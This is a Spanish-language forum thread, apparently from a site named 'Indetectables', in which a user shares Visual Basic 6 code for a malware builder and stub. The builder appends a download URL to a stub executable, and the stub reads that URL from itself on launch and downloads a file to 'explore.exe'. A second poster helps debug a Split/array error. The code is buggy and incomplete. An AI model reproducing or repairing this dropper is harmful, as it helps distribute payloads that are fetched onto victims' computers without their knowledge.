Indetectables

Cliente:

Private Sub Command1_Click()
Dim url As String
Open App.Path & "\stub" For Binary As 1
Dim stub As String
stub = Space(LOF(1))
Get 1, , stub
Close 1
Open App.Path & "\final.exe" For Binary As 1
Put 1, , stub & "xpro"
Dim texto As String
texto = Text1.Text
Put 1, , texto & "xpro"

Close 1
MsgBox " termino "

End Sub
**********************************************************************

Stub:


Private Sub Form_Load()
Dim des As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary As 1
Dim stub As String
stub = Space(LOF(1))
Get 1, , stub
Close 1
Dim vars As String
vars = Split(stub, "xpro")
Dim url As String
url = Trim(vars(1))
des 0, Trim(url), App.Path & "\explore.exe", 0, 0
End Sub



Y me da error de se esperaba una matriz y señala la palabra " vars" y no entiendo porque xD

Split, parte una cadena en varias y el resultado lo tendrá que meter en un array, matriz o como quieras llamarlo. Si lo mete en otra cadena sigues en las mismas.

Thor escribió:

Código: Seleccionar todo

Dim vars As String
vars = Split(stub, "xpro")

Split, parte una cadena en varias y el resultado lo tendrá que meter en un array, matriz o como quieras llamarlo. Si lo mete en otra cadena sigues en las mismas.

No entiendo lo que dices xD, tampoco sé lo de array ( me suena pero no caigo xD ), y nada , bueno en teoría se supone que con vars puedo obtener varios datos ( se supone ) , yo lo único que hago es obtener un dato más y combertirlo a texto plano para luego intentar descargarlo ( url )


Cómo sería ?

saludos

LoL ? XD cómo coño pude cometer ese fallo xD,


Gracias tio !